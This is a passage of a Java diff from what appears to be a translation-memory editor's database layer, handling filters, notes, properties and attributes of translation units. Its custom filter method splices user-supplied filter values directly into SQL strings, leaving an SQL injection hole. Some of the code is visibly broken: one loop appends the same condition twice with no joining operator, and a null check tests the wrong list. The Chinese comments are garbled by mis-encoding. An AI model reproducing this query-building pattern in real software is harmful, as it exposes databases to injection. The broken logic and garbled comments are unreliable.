List ids = dbOp.getWithNoteTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + super.tuIdentifiers = ids; + } else if (TeCoreConstant.FILTERID_withGarbleSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getWithGarbleTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + super.tuIdentifiers = ids; + } else if (TeCoreConstant.FILTERID_tgtNullSeg.equals(filterBean.getId())) { + dbOp.commit(); + List ids = dbOp.getTgtNullTuPK(srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + for (String i : ids) { + super.tuIdentifiers.add(i); + } + } else { + dbOp.commit(); + List ids = getCustomFilterTuPK(dbOp, filterBean, srcLang, tgtLang, ignoreCase, ignoreTag); + super.tuIdentifiers.clear(); + super.tuIdentifiers = ids; + } + + monitor.done(); + } catch (SQLException e) { + e.printStackTrace(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * 自定义过滤查询 robert 2013-08-26 UNDO 这里还有一个问题,就是 + * @throws Exception + * ; + */ + public List getCustomFilterTuPK(DBOperator dbOp, TmxEditorFilterBean filterBean, String srcLang, + String tgtLang, boolean ignoreCase, boolean ignoreTag) throws Exception { + srcLang = srcLang.toLowerCase(); + tgtLang = tgtLang.toLowerCase(); + StringBuffer sqlSB = new StringBuffer(); + // 是å¦æ»¡è¶³å½“å‰è¿‡æ»¤å™¨çš„所有æ¡ä»¶ï¼Œtrue:满足所有æ¡ä»¶ï¼Œã€€false:满足以下任æ„一æ¡ä»¶ + boolean isFitAll = filterBean.isFitAll(); + String link = isFitAll ? " AND " : " OR "; + + // æ ¹æ®äº”个处ç†å¯¹è±¡ï¼Œåˆ†æ‰¹æ¬¡è¿›è¡Œå¤„ç†ï¼Œå…ˆå¤„ç†æºæ–‡çš„情况 + List srcFilter = filterBean.getSrcFilter(); + List tgtFilter = filterBean.getTgtFilter(); + List fixedPropFilter = filterBean.getFixedPropFilter(); + List customPropFilter = filterBean.getCustomPropFilter(); + List noteFilter = filterBean.getNoteFilter(); + + // 开始组装,其中 A 为 MTU 表, B 为æºæ–‡æ‰€åœ¨çš„表, C 为译文所在的表, D 为批注的表, E 为自定义属性表 + sqlSB.append("SELECT MTUPKID AS ID FROM __DATABASE_NAME___MTU A\n"); + sqlSB.append("LEFT JOIN __DATABASE_NAME___TEXTDATA B ON B.GROUPID = A.MTUPKID\n"); + sqlSB.append("LEFT JOIN __DATABASE_NAME___TEXTDATA C ON C.GROUPID = A.MTUPKID\n"); + if (noteFilter != null && noteFilter.size() > 0) { + sqlSB.append("LEFT JOIN __DATABASE_NAME___MNOTE D ON D.PARENTID = A.MTUPKID\n"); + } + if (noteFilter != null && customPropFilter.size() > 0) { + sqlSB.append("LEFT JOIN __DATABASE_NAME___MPROP E ON E.PARENTID = A.MTUPKID\n"); + } + sqlSB.append("WHERE LOWER(B.LANG) = ? AND LOWER(C.LANG) = ? AND ("); + + if (srcFilter != null && srcFilter.size() > 0) { + sqlSB.append("\n"); + for (Property prop : srcFilter) { + if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_equal)) { + sqlSB.append(ignoreCase ? "###BINARY### LOWER(B.###IGNORETAG###) = '" + + prop.getValue().toLowerCase() + "'" : "###BINARY### B.###IGNORETAG### = '" + + prop.getValue() + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notEqual)) { + sqlSB.append((ignoreCase ? "###BINARY### LOWER(B.###IGNORETAG###) <> '" + : "###BINARY### B.###IGNORETAG### <> '") + + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_include)) { + sqlSB.append("INSTR(" + + (ignoreCase ? "###BINARY### LOWER(B.###IGNORETAG###)" : "###BINARY### B.###IGNORETAG###") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') > 0"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notInclude)) { + sqlSB.append("INSTR(" + + (ignoreCase ? "###BINARY### LOWER(B.###IGNORETAG###)" : "###BINARY### B.###IGNORETAG###") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') = 0"); + sqlSB.append(link); + } + } + } + + if (tgtFilter != null && tgtFilter.size() > 0) { + sqlSB.append("\n"); + for (Property prop : tgtFilter) { + if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_equal)) { + sqlSB.append(ignoreCase ? "###BINARY### LOWER(C.###IGNORETAG###) = '" + + prop.getValue().toLowerCase() + "'" : "###BINARY### C.###IGNORETAG### = '" + + prop.getValue() + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notEqual)) { + sqlSB.append((ignoreCase ? "###BINARY### LOWER(C.###IGNORETAG###) <> '" + : "###BINARY### C.###IGNORETAG### <> '") + + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_include)) { + sqlSB.append("INSTR(" + + (ignoreCase ? "###BINARY### LOWER(C.###IGNORETAG###)" : "###BINARY### C.###IGNORETAG###") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') > 0"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notInclude)) { + sqlSB.append("INSTR(" + + (ignoreCase ? "###BINARY### LOWER(C.###IGNORETAG###)" : "###BINARY### C.###IGNORETAG###") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') = 0"); + sqlSB.append(link); + } + } + } + + if (noteFilter != null && noteFilter.size() > 0) { + sqlSB.append("\n"); + for (Property prop : noteFilter) { + if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_equal)) { + sqlSB.append(ignoreCase ? "###BINARY### LOWER(D.CONTENT) = '" + prop.getValue().toLowerCase() + "'" + : "###BINARY### D.###IGNORETAG### = '" + prop.getValue() + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notEqual)) { + sqlSB.append((ignoreCase ? "###BINARY### LOWER(D.CONTENT) <> '" : "###BINARY### D.CONTENT <> '") + + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "'"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_include)) { + sqlSB.append("INSTR(" + (ignoreCase ? "###BINARY### LOWER(D.CONTENT)" : "###BINARY### D.CONTENT") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') > 0"); + sqlSB.append(link); + } else if (prop.getKey().equals(TeCoreConstant.FILTER_TYPE_notInclude)) { + sqlSB.append("INSTR(" + (ignoreCase ? "###BINARY### LOWER(D.CONTENT)" : "###BINARY### D.CONTENT") + + ",'" + (ignoreCase ? prop.getValue().toLowerCase() : prop.getValue()) + "') = 0"); + sqlSB.append(link); + } + } + } + + if (fixedPropFilter != null && fixedPropFilter.size() > 0) { + sqlSB.append("\n"); + for (Property prop : fixedPropFilter) { + if (ignoreCase) { + sqlSB.append("###BINARY### LOWER(A." + prop.getKey() + ") = " + prop.getValue().toLowerCase() + ""); + } else { + sqlSB.append("###BINARY### A." + prop.getKey() + " = " + prop.getValue() + ""); + } + sqlSB.append("###BINARY### A." + prop.getKey() + " = " + prop.getValue() + ""); + sqlSB.append(link); + } + } + + if (customPropFilter != null && customPropFilter.size() > 0) { + sqlSB.append("\n"); + for (Property prop : customPropFilter) { + if (ignoreCase) { + sqlSB.append("###BINARY### LOWER(E." + prop.getKey() + ") = " + prop.getValue().toLowerCase() + ""); + } else { + sqlSB.append("###BINARY### E." + prop.getKey() + " = " + prop.getValue() + ""); + } + sqlSB.append(link); + } + } + + String sql = sqlSB.toString(); + if (sql.lastIndexOf(link) == sql.length() - link.length()) { + sql = sql.substring(0, sql.lastIndexOf(link)); + } + sql += ")"; + + if ("Oracle".equalsIgnoreCase(dbOp.getMetaData().getDbType())) { + sql = Utils.replaceString(sql, "__DATABASE_NAME__", dbOp.getMetaData().getDatabaseName()); + sql = Utils.replaceString(sql, "###BINARY###", ""); + } else { + sql = Utils.replaceString(sql, "__DATABASE_NAME___", ""); + sql = Utils.replaceString(sql, "###BINARY###", "BINARY"); + } + + List result = dbOp.getCustomFilterTuPK(sql, srcLang, tgtLang, ignoreCase, ignoreTag); + return result; + } + + @Override + public String addTu(TmxTU tu, String selTuIdentifer) { + try { + facade.beginTransaction(); + int tuId = facade.insertTu(tu); + facade.commit(); + tu.setTmId(tuId); + return tuId + ""; + } catch (SQLException e) { + LOGGER.error("", e); + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + } + return null; + } + + @Override + public void deleteTus(String[] tuIdentifiers, IProgressMonitor monitor) { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + List list = new ArrayList(); + for (String id : tuIdentifiers) { + list.add(Integer.parseInt(id)); + } + try { + facade.deleteTuByIds(list, currSrcLang, currTgtLang, System.getProperty("user.name"), monitor); + } catch (SQLException e) { + LOGGER.error("", e); + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + } finally { + monitor.done(); + } + } + + /** + * 1.å°†newText写入到Tmx文件或者TmDb 2.å°†newText更新到TmxSegement对象中。 + * @param newText + * @param tu + * @param tuv + **/ + public void updateTuvContent(String identifier, String newText, TmxTU tu, TmxSegement tuv) { + if (tuv.getFullText().equals(newText)) { // 新内容和原æ¥çš„内容一样 + return; + } + TmxSegement newTuv = new TmxSegement(newText, null); + newTuv.setDbPk(tuv.getDbPk()); + newTuv.setLangCode(tuv.getLangCode()); + try { + facade.beginTransaction(); + facade.updateTUVContent(tu.getTmId(), newTuv); + String changedate = DateUtils.getStringDate(); + String changeid = System.getProperty("user.name"); + tu.setChangeDate(changedate); + tu.setChangeUser(changeid); + facade.updateTU(tu); + facade.commit(); + if (tuv.getDbPk() == -1) { + tuv.setDbPk(newTuv.getDbPk()); + } + tuv.setFullTextWithParseTag(newText); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + public void updateTuNote(String tuIdnetifier, TmxTU tu, TmxNote note, String newContent) { + String oldContent = note.getContent(); + try { + facade.beginTransaction(); + note.setContent(newContent); + facade.updateNote(tu.getTmId(), note); + facade.commit(); + } catch (SQLException e) { + try { + note.setContent(oldContent); + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + @Override + public void updateTuNote(Map tus, TmxNote note, String newContent) { + String oldContent = note.getContent(); + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + List notes = entry.getValue().getNotes(); + if (notes == null) { + continue; + } + for (TmxNote n : notes) { + if (oldContent.equals(n.getContent())) { + n.setContent(newContent); + facade.updateNote(entry.getValue().getTmId(), n); + } + } + } + facade.commit(); + } catch (SQLException e) { + try { + note.setContent(oldContent); + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + public void deleteTuNote(String tuIdentifier, TmxTU tu, TmxNote deleteNote) { + try { + facade.beginTransaction(); + facade.deleteTuNote(deleteNote.getDbPk()); + facade.commit(); + List notes = tu.getNotes(); + if (null != notes) { + notes.remove(deleteNote); + } + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + @Override + public void deleteTuNote(Map tus, TmxNote deleteNote) { + String deleteContent = deleteNote.getContent(); + try { + facade.beginTransaction(); + List rmNotes = new LinkedList(); + for (Entry entry : tus.entrySet()) { + List notes = entry.getValue().getNotes(); + if (notes == null) { + continue; + } + for (TmxNote note : notes) { + if (deleteContent.equals(note.getContent())) { + rmNotes.add(note); + facade.deleteTuNote(note.getDbPk()); + } + } + notes.removeAll(rmNotes); + } + facade.commit(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + public int addTuNote(String tuIdentifier, TmxTU tu, String content) { + int addId = -1; + try { + TmxNote newNote = new TmxNote(); + newNote.setContent(content); + facade.beginTransaction(); + addId = facade.addTuNote(tu.getTmId(), newNote); + facade.commit(); + tu.appendNote(newNote); + newNote.setDbPk(addId); + return addId; + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + return addId; + } + + @Override + public int addTuNote(Map tus, String content) { + int addId = -1; + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + TmxNote newNote = new TmxNote(); + newNote.setContent(content); + addId = facade.addTuNote(entry.getValue().getTmId(), newNote); + newNote.setDbPk(addId); + entry.getValue().appendNote(newNote); + } + facade.commit(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + return tus.size(); + } + + public int addTuProp(String tuIdentifier, TmxTU tu, String propType, String newContent) { + int addId = -1; + try { + facade.beginTransaction(); + TmxProp newProp = new TmxProp(); + newProp.setName(propType); + newProp.setValue(newContent); + addId = facade.addTuProp(tu.getTmId(), newProp); + facade.commit(); + newProp.setDbPk(addId); + tu.appendProp(newProp); + return addId; + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + return addId; + } + + @Override + public int addTuProp(Map tus, String propType, String newContent) { + int addId = -1; + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + TmxProp newProp = new TmxProp(); + newProp.setName(propType); + newProp.setValue(newContent); + addId = facade.addTuProp(entry.getValue().getTmId(), newProp); + newProp.setDbPk(addId); + entry.getValue().appendProp(newProp); + } + facade.commit(); + return addId; + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + return addId; + } + + /** + * 添加翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§ (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#addTuAttribute(java.lang.String, + * net.heartsome.cat.common.bean.TmxTU, java.lang.String, java.lang.String) + */ + public void addTuAttribute(String tuIdentifier, TmxTU tu, String name, String value) { + try { + facade.beginTransaction(); + facade.addTuAttribute(tu.getTmId(), name, value); + facade.commit(); + tu.appendAttribute(name, value); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + public void addTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String value) { + try { + facade.beginTransaction(); + facade.addTuvAttribute(tuv.getDbPk(), name, value); + facade.commit(); + tuv.appendAttribute(name, value); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + /** + * 删除TU固定属性值 (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteTuAttribute(java.lang.String, + * net.heartsome.cat.common.bean.TmxTU, java.lang.String) + */ + public void deleteTuAttribute(String tuIdentifier, TmxTU tu, String name) { + updateTuAttribute(tuIdentifier, tu, name, ""); + } + + @Override + public void deleteTuAttribute(Map tus, String name) { + updateTuAttribute(tus, name, ""); + } + + public void updateTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String newValue) { + name = getTuvAttrName(name); + try { + facade.beginTransaction(); + facade.updateTUVAttribute(tuv.getDbPk(), name, newValue); + facade.commit(); + updateCacheTuvAttr(tuv, name, newValue); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + /** + * 将界é¢çš„值转æ¢æˆæ•°æ®åº“中的字段值 + * @param name + * @return ; + */ + private String getTuvAttrName(String name) { + if ("creationid".equals(name)) { + return "creationUser"; + } else if ("creationdate".equals(name)) { + return "creationDate"; + } else if ("changedate".equals(name)) { + return "changeDate"; + } else if ("changeid".equals(name)) { + return "changeUser"; + } else if ("creationtool".equals(name)) { + return "creationTool"; + } else if ("creationtoolversion".equals(name)) { + return "creationToolVersion"; + } + return name; + } + + public void updateTuProp(String tuIdentifier, TmxTU tu, TmxProp prop, String propType, String newContent) { + String Oldname = prop.getName(); + String oldValue = prop.getValue(); + try { + prop.setName(propType); + prop.setValue(newContent); + facade.beginTransaction(); + facade.updateProp(tu.getTmId(), prop); + facade.commit(); + } catch (SQLException e) { + try { + prop.setName(Oldname); + prop.setValue(oldValue); + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + + } + } + + @Override + public void updateTuProp(Map tus, TmxProp prop, String propType, String newContent) { + String Oldname = prop.getName(); + String oldValue = prop.getValue(); + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + List props = entry.getValue().getProps(); + if (props == null) { + continue; + } + for (TmxProp p : props) { + if (Oldname.equals(p.getName()) && oldValue.equals(p.getValue())) { + p.setName(propType); + p.setValue(newContent); + facade.updateProp(entry.getValue().getTmId(), p); + } + } + } + facade.commit(); + } catch (SQLException e) { + try { + prop.setName(Oldname); + prop.setValue(oldValue); + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + + } + } + + public void deleteTuProp(String tuIdentifier, TmxTU tu, TmxProp deleteProp) { + try { + facade.beginTransaction(); + facade.deleteTuProp(deleteProp.getDbPk()); + facade.commit(); + tu.getProps().remove(deleteProp); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + @Override + public void deleteTuPropByType(Map tus, String type) { + final String cleanType = TextUtil.cleanSpecialString(type); + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + TmxTU tu = entry.getValue(); + List list = tu.getProps(); + if (list == null) { + continue; + } + List rmProps = new ArrayList(); + for (TmxProp prop : list) { + if (cleanType.equals(prop.getName())) { + facade.deleteTuProp(prop.getDbPk()); + rmProps.add(prop); + } + } + list.removeAll(rmProps); + } + facade.commit(); + } catch (SQLException e) { + LOGGER.error("", e); + } + } + + @Override + public void deleteTuProp(Map tus, TmxProp deleteProp) { + String Oldname = deleteProp.getName(); + String oldValue = deleteProp.getValue(); + try { + facade.beginTransaction(); + List rmProps = new LinkedList(); + for (Entry entry : tus.entrySet()) { + List props = entry.getValue().getProps(); + if (props == null) { + continue; + } + for (TmxProp p : props) { + if (Oldname.equals(p.getName()) && oldValue.equals(p.getValue())) { + facade.deleteTuProp(p.getDbPk()); + rmProps.add(p); + } + } + props.removeAll(rmProps); + rmProps.clear(); + } + facade.commit(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + public void deleteTuvAttribute(String tuIdentifier, TmxSegement tuv, String name) { + updateTuvAttribute(tuIdentifier, tuv, name, ""); + } + + /** + * æ›´æ–°tu固定属性 (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#updateTuAttribute(net.heartsome.cat.common.bean.TmxTU, + * java.lang.String, java.lang.String) + */ + public void updateTuAttribute(String tuIdentifier, TmxTU tu, String name, String newValue) { + try { + facade.beginTransaction(); + TmxTU newTu = copyTu(tu); + updateCacheTuAttr(newTu, name, newValue); + facade.updateTuAttribute(newTu); + facade.commit(); + updateCacheTuAttr(tu, name, newValue); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + @Override + public void updateTuAttribute(Map tus, String name, String newValue) { + try { + facade.beginTransaction(); + for (Entry entry : tus.entrySet()) { + TmxTU newTu = copyTu(entry.getValue()); + updateCacheTuAttr(newTu, name, newValue); + facade.updateTuAttribute(newTu); + updateCacheTuAttr(entry.getValue(), name, newValue); + } + facade.commit(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } + } + + private TmxTU copyTu(TmxTU tu) { + TmxTU oldTU = new TmxTU(); + oldTU.setAttributes(tu.getAttributes()); + oldTU.setChangeDate(tu.getChangeDate()); + oldTU.setChangeUser(tu.getChangeUser()); + oldTU.setContexts(tu.getContexts()); + oldTU.setCreationDate(tu.getCreationDate()); + oldTU.setCreationTool(tu.getCreationTool()); + oldTU.setCreationUser(tu.getCreationUser()); + oldTU.setNotes(tu.getNotes()); + oldTU.setProps(tu.getProps()); + oldTU.setSegments(tu.getSegments()); + oldTU.setSource(tu.getSource()); + oldTU.setTarget(tu.getTarget()); + oldTU.setTmId(tu.getTmId()); + oldTU.setTuId(tu.getTuId()); + return oldTU; + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param tgtLangCode + **/ + public List getTgtEmptyTU(String tgtLangCode) { + try { + return facade.getTgtEmptyTU(tgtLangCode, null,false); + } catch (SQLException e) { + LOGGER.error("", e); + return new ArrayList(0); + } + } + + /** + * 首选在缓存中å–值,如果缓存中没有,则从物ç†å­˜å‚¨ä¸­è¯»å–值,最åŽæ·»åŠ ç¼“存中。 + * @param tuIdentifier + **/ + public TmxTU getTuByIdentifier(String tuIdentifier) { + try { + TmxTU tmxTU = facade.getTuByIdentifier(Integer.parseInt(tuIdentifier), false); + return tmxTU; + } catch (SQLException e) { + LOGGER.error("", e); + } + return new TmxTU(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteTgtEmpty(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public boolean deleteTgtEmpty(IProgressMonitor monitor,boolean ignoreTag) { + + try { + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("core.databaseAccess.filter.empty.taskname")); + SubProgressMonitor subFilterTask = new SubProgressMonitor(monitor, 30); + List tgtEmptyTU = facade.getTgtEmptyTU(super.currTgtLang, subFilterTask, ignoreTag); + SubProgressMonitor subDeleteTask = new SubProgressMonitor(monitor, 70); + if (tgtEmptyTU.isEmpty()) { + subDeleteTask.done(); + return false; + } + subDeleteTask.setTaskName(Messages.getString("core.databaseAccess.delete.empty.taskname")); + facade.deleteTuByIds(tgtEmptyTU, currSrcLang, currTgtLang, null, subDeleteTask); + monitor.done(); + } catch (SQLException e) { + LOGGER.error("", e); + + } finally { + monitor.done(); + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteDupaicate(org.eclipse.core.runtime.IProgressMonitor, + * boolean) + */ + @Override + public boolean deleteDupaicate(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + DatabaseAccessUtils deleteUtil = new DatabaseAccessUtils(facade, currSrcLang, currTgtLang, ignoreTag, + ignoreCase); + try { + monitor.beginTask("", 100); + SubProgressMonitor subFilerJob = new SubProgressMonitor(monitor, 40); + subFilerJob.setTaskName(Messages.getString("core.fileAccess.filterDupliacteSegment")); + List tuids = deleteUtil.getId4DulicateDelete(subFilerJob); + subFilerJob.done(); + SubProgressMonitor subdeleteJob = new SubProgressMonitor(monitor, 60); + subdeleteJob.setTaskName(Messages.getString("core.fileAccess.deleteDuplicateSegment")); + facade.deleteTuByIds(tuids, currSrcLang, currTgtLang, System.getProperty("user.name"), subdeleteJob); + subdeleteJob.done(); + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + monitor.done(); + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteSameSrcDiffTgt(org.eclipse.core.runtime.IProgressMonitor, + * boolean) + */ + @Override + public boolean deleteSameSrcDiffTgt(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + DatabaseAccessUtils deleteUtil = new DatabaseAccessUtils(facade, currSrcLang, currTgtLang, ignoreTag, + ignoreCase); + try { + SubProgressMonitor subFilerJob = new SubProgressMonitor(monitor, 40); + subFilerJob.setTaskName(Messages.getString("core.fileAccess.filterSameSrcDiffTgtSegment")); + List tuids = deleteUtil.getId4SrcSameDiffTgtDelete(subFilerJob); + SubProgressMonitor subdeleteJob = new SubProgressMonitor(monitor, 60); + subdeleteJob.setTaskName(Messages.getString("core.fileAccess.deleteSameSrcDiffTgtSegment")); + facade.deleteTuByIds(tuids, currSrcLang, currTgtLang, System.getProperty("user.name"), subdeleteJob); + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + monitor.done(); + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#deleteEndsSpaces(org.eclipse.core.runtime.IProgressMonitor) + */ + @Override + public boolean deleteEndsSpaces(IProgressMonitor monitor) { + try { + facade.beginTransaction(); + facade.deleteEndsSpaces(monitor); + facade.commit(); + } catch (SQLException e) { + LOGGER.error("", e); + } finally { + monitor.done(); + } + return false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTuAttr(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTuAttr(IProgressMonitor monitor, String name, String value, String filter) { + // TODO 批é‡ä¿®æ”¹TU的固定属性值 + monitor.beginTask("", 1); + try { + facade.beginTransaction(); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.updateAllTuAttr(name, value)) { + facade.commit(); + } + } else {// 更新应用到当å‰è¿‡æ»¤ç»“果中 + List list = new ArrayList(); + for (String id : super.tuIdentifiers) { + list.add(Integer.parseInt(id)); + } + if (facade.updateFilterTuAttr(name, value, list)) { + facade.commit(); + } + + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e); + } + LOGGER.error("", e); + } finally { + monitor.done(); + } + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTuAttr(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String) + */ + @Override + public void batchDeleteTuAttr(IProgressMonitor monitor, String name, String filter) { + batchUpdateTuAttr(monitor, name, "", filter); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchAddTmxProp(org.eclipse.core.runtime.IProgressMonitor, + * java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchAddTmxProp(IProgressMonitor monitor, String type, String content, String filter) { + monitor.beginTask("", 100); + SubProgressMonitor filterJob = new SubProgressMonitor(monitor, 30); + filterJob.beginTask("", 100); + List ids = new ArrayList(); + try { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + ids = container.getDbOp().getAfterFilterTuPk(null, null, null); + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + } + filterJob.done(); + SubProgressMonitor addJob = new SubProgressMonitor(monitor, 70); + facade.beginTransaction(); + if (facade.batchAddTuProps(type, content, ids, addJob)) { + facade.commit(); + } + addJob.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchUpdateTmxProp(org.eclipse.core.runtime.IProgressMonitor, + * net.heartsome.cat.common.bean.TmxProp, java.lang.String, java.lang.String, java.lang.String) + */ + @Override + public void batchUpdateTmxProp(IProgressMonitor monitor, TmxProp prop, String propType, String content, + String filter) { + monitor.beginTask("", 100); + try { + facade.beginTransaction(); + monitor.worked(20); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchUpdateTuProp(prop.getName(), prop.getValue(), propType, content, null)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchUpdateTuProp(prop.getName(), prop.getValue(), propType, content, ids)) { + facade.commit(); + } + } + prop.setName(propType); + prop.setValue(content); + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#batchDeleteTmxProp(org.eclipse.core.runtime.IProgressMonitor, + * net.heartsome.cat.common.bean.TmxProp, java.lang.String) + */ + @Override + public void batchDeleteTmxProp(IProgressMonitor monitor, TmxProp prop, String filter) { + monitor.beginTask("", 100); + try { + facade.beginTransaction(); + monitor.worked(20); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 应用到整个数æ®åº“ + if (facade.batchDeleteTuProp(prop.getName(), prop.getValue(), null)) { + facade.commit(); + } + + } else {// 应用到当å‰è¿‡æ»¤ç»“æžœ + List ids = new ArrayList(); + for (String str : super.tuIdentifiers) { + ids.add(Integer.parseInt(str)); + } + if (facade.batchDeleteTuProp(prop.getName(), prop.getValue(), ids)) { + facade.commit(); + } + } + monitor.done(); + } catch (SQLException e) { + try { + facade.rollback(); + } catch (SQLException e1) { + LOGGER.error("", e1); + } + LOGGER.error("", e); + + } finally { + monitor.done(); + } + } + + /** + * 